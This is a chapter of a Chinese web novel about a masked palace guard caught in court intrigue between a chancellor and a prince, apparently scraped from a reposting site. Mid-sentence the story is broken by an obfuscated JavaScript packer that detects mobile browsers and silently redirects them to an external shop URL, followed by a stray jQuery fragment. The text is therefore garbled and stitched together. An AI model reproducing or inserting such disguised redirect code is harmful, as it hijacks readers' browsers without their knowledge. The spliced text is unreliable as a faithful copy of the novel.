文趣网 > 其他小说 > 咸鱼暗卫被迫造反后 > 20. 第 20 章
    沈珩应该也察觉到了他的疏离,翌日在马车上全程闭眼假寐。

    林泽知道他没睡,睡觉的人坐姿不会那样端正,呼吸不会这般浅,像是故意放低了声音,怕扰到什么似的。

    没人盯着,他本该觉得放松,可心里却无端觉得更憋闷了。

    直到沈珩上了朝,林泽才松一口气,下了马车透气。

    可刚一下来,他就后悔了。

    “裴……裴……”不远处的宁学恩朝他这边走过来,想了半天,才道,“裴泽安。”

    林泽微微蹙眉。

    之前他还不懂,沈珩为何提醒他“日后离他远些”。

    他以为是此人行为不端,碍了沈相的眼,如今看来,倒像是冲着他来的。

    一个御史府的小公子,竟会记得一个相府暗卫的名字。

    “宁公子。”

    想钻回车里已是晚了,他只能硬着头皮回话。

    宁学恩目光在他身上打量了一眼,最后定格在他脸上。

    他前日跟苏执府中的下人打听过,说是裴泽安的脸跟他有几分像,裴泽安亦是凭着这几分像,得了几年的宠,他倒很想看看,这面具下的赝品,到底像他几分。

    宁学恩手伸过来的瞬间,林泽往后躲了一下,察觉到他的意图:“公子见谅,相府暗卫有暗卫的规矩,面具在外不能摘。”

    宁学恩讪讪收回手,笑道:“离退朝时间还远着呢,这天色眼看着要下雨了,不如先跟我去吃盏茶。”

    “多谢公子,在下还要在此处等大人下朝,没有大人命令,不敢离开。”

    宁学恩掸了掸袖子离开,林泽暗暗松了一口气。

    天色越来越暗,浅灰色的乌云一层一层压下来,不多时,起了风,小雨淅淅沥沥落下,越下越大。

    林泽掀开车帘,看着车夫:“进来避避吧。”

    车夫将头上的草笠往下压了压,忍不住笑了一声,大人的车,岂是谁想上都能上的:“不必,多谢了。”

    雨越来越大,地上很快覆了半掌深的积水,硕大的雨滴滴在积水里,将水面砸得直冒泡。

    哗啦啦的雨声中,林泽听到车夫叫他:“大人出来了,去给大人送伞。”

    林泽闻声,把车里备的伞递给他,车夫眼带疑惑望着他:“你不去?”

    “你去吧。”

    沈珩和苏执站在宫门口,出来这一路都有太监撑伞相送,但雨实在太大,身上还是免不了湿了,好在湿得不多。

    苏执满面喜色相邀:“多谢沈相,要不是沈相帮本宫说话,恐怕这个肥差就要落在旁人口中了。”

    沈珩:“殿下客气,不是下官帮殿下,而是放眼朝中,只有殿下有这个能力。太子年幼,什么都不懂,大皇子……倒是有能力,但他心思不在政事上,也不好勉强,日后诸般事,恐怕都要辛苦三殿下了。”

    “沈相觉得,小太子如何?我看我这大哥喜欢小太子可是喜欢得紧。”

    沈珩:“下官不敢妄言。”

    “你我之间,有什么不能说的,但说无妨。”

    “殿下不知,”沈珩微微摇头,用诉苦似的语气道,“之前在殿下生辰宴上,我不过说了小太子几句,便被人告状告到了老太傅那里,吃了不少苦头,如今可不敢再乱说了。”

    苏执大笑,这话摆明了是记小太子的仇,小太子也是出了名的记仇的主,生日宴上那一闹,立马有武安侯的人当朝状告沈相。

    虽然都是些无关痛痒的事,但也足够让人心里膈应。

    看来小太子和沈珩这仇,算是结下了。

    反倒是他那个大哥,让人看不透。

    “殿下,沈大人。”宁学恩打着伞跑过来,恭恭敬敬对沈珩行礼,沈珩略过他,往他身后看了一眼,瞥见雨中有一抹人影。

    苏执也看到了那抹身影。他不禁回想起从前,裴泽安等他下朝,给他煮酒的日子,心底竟不由得生出几分怀念。

    黑影越来越近,模样渐渐清晰起来,不是裴泽安。

    不知为何,这个认知竟让他生出几分窃喜:“以前他在我府中时,无论晴雨,都会到宫门口等我,如今去了沈相府里,倒是愈发不懂事了。”

    话里多多少少带了些炫耀的意味,沈珩故作淡然:“送伞而已,谁送都一样,反倒是殿下,有从小一起长大的朋友关心,实在让人艳羡。”

    苏执这才发觉冷略了宁学恩:“那我们先走了。”

    “殿下,”宁学恩打断他,“听闻殿下昨日刚得了好玩意儿,正巧沈相在此,不如一起去瞧瞧?”

    “好,”苏执笑道,“多亏你提醒,我正巧有好东西想送沈相呢。”

    沈珩接过伞,对车夫道:“你随本官去吧,让十五回去。”

    “一起吧。”宁学恩提议道。

    “是啊,正巧在,就一起吧。”

    所谓的宝贝是一个屏风,屏风通身用薄玉打造,通体晶莹,光泽华美,可谓做工精致,价值连城。

    “相爷这边请。”

    沈珩随苏执往后走,才看出这屏风的不同之处。

    从一面看,只是美玉,看不出旁的,但从另一面看,却能看出模糊的影子。

    “这是去年西域进贡的贡品,父皇前几日赏给了本宫,本宫留着也是无用,便送沈相吧。”

    表面是送礼,实际上是在告诉沈珩,你帮我,好处就有你一份。

    这是赤裸裸的收买,也是敲打。

    “那下官,就却之不恭了。”

    几人坐下品了会儿茶,苏执却道:“裴泽安煮酒烹茶最是在行,本宫好久没喝到他煮的酒了,不知沈相可否借花献佛,让他再给本宫煮次酒喝?”

    “殿下,”沈珩笑道,“十五……失忆了,严格来说,他或许算不上是从前的裴泽安,未必还记得怎么煮酒烹茶。”

    “煮酒烹茶我也拿手,殿下要尝尝我的手艺吗?”宁学恩声音软下来,像是在哄孩子,又像是在给苏执找台阶。

    苏执暧昧的捏着他的手:“阿宁的手,怎能用来做这种粗活。”

    林泽在一旁看着,来不及恶心,只觉得有些不安。

    苏执或许可以说是怀旧,可宁学恩非要把他拖来,总让他觉得没好事。

    偏偏是沈珩应了,他连

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17729798|206861||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    推辞都推辞不了。

    不过这一趟也不是毫无好处,看了这么久,他也总算琢磨出点什么了。

    或许裴泽安在他们中间,扮演的应该是个替身。

    不然刚在宫门口,宁学恩也不会想要揭他面具,更不会对他有敌意。

    苏执转头望着裴泽安:“武功没忘,烹茶煮酒的本事忘了?那本宫倒是更想尝尝你现在的手艺了。”

    沈珩咳了两声,往外看了一眼,雨还没停:“改日吧,下官身体不适,先回府歇歇。”

    苏执见他起身,跟着起身相送:“自然是沈相身体重要,我送沈相吧。”

    再纠缠就太不给沈珩面子了,为了一个暗卫,坏了千秋大业,不合适。

    “外面雨大,殿下留步。”

    沈珩走到门边,伸手去拿伞,林泽先他一步拿过,撑开伞,往他这边偏了偏。

    出了府,林泽身上的衣裳已经全湿了,沈珩也没好到哪去,那样大的雨,伞根本挡不住,身上的衣裳也湿了大半。

    他又压低声音咳了两声,林泽别过头,不去看他。

    雨势越来越大,白茫茫的雨幕遮挡了视野,天地间只剩一抹跳动的白。

    “阿大,”沈珩唤了一声,外面的车夫掀开车帘,沈珩问,“尾巴甩掉了吗?”

    阿大点头。

    沈珩:“去望清楼。”

    到了望清楼,车夫把马车送到后院,林泽跟在沈珩身后上了台阶。

    “哐当”一声,推开门,一道剑光便刺过来,正对沈珩面门。

    情急之下,林泽将沈珩推到一旁,跟那戴着面具的持剑人缠斗起来,刚过了几招,林泽便听身后一阵呼声,“别动,再动我杀了他。”

    林泽蹙眉,停下手中动作。

    那人望着他,戏谑道:“用你一条命,换这个人,你可愿意?”

    “不愿。”

    林泽冷声道。

    打斗停止的一瞬间,他也反应过来,此处是沈珩点名要来的,沈相这样的人,怎么可能上赶着送死。

    他们若真要杀沈珩,沈珩岂能活到现在。

    是沈珩跟他们商量好了,要做戏做掉他吗?

    “啧,”那人转头看着沈珩道,“沈相,你府中的暗卫是一个不如一个了,我真为你担心,将来三皇子要是知道你演戏骗他,狗急跳墙要杀你,到时候就这些暗卫,能护你到几时呀。”

    “能到几时到几时。”

    沈珩推开颈间长剑,冷声道:“我的人,不需要你试。”

    “哦,”那人轻佻一笑,“若我说,此人当杀呢?”

    言毕,几十个壮汉持剑,鱼贯而入。

    林泽握紧手中剑,见沈珩冷脸对那人道:“让他们退出去。”

    “沈相这般谨慎的人,什么时候糊涂到,要把三皇子的小情人放到身边了,就不怕他杀你吗?”

    “以他的武功,若想杀我,何必等到今日。”

    那人两步走到沈珩面前,回头看林泽一眼,冷笑道:“哦,那若是,他偷看了沈相你的信呢?”

    林泽闻声,心底无声激起波澜。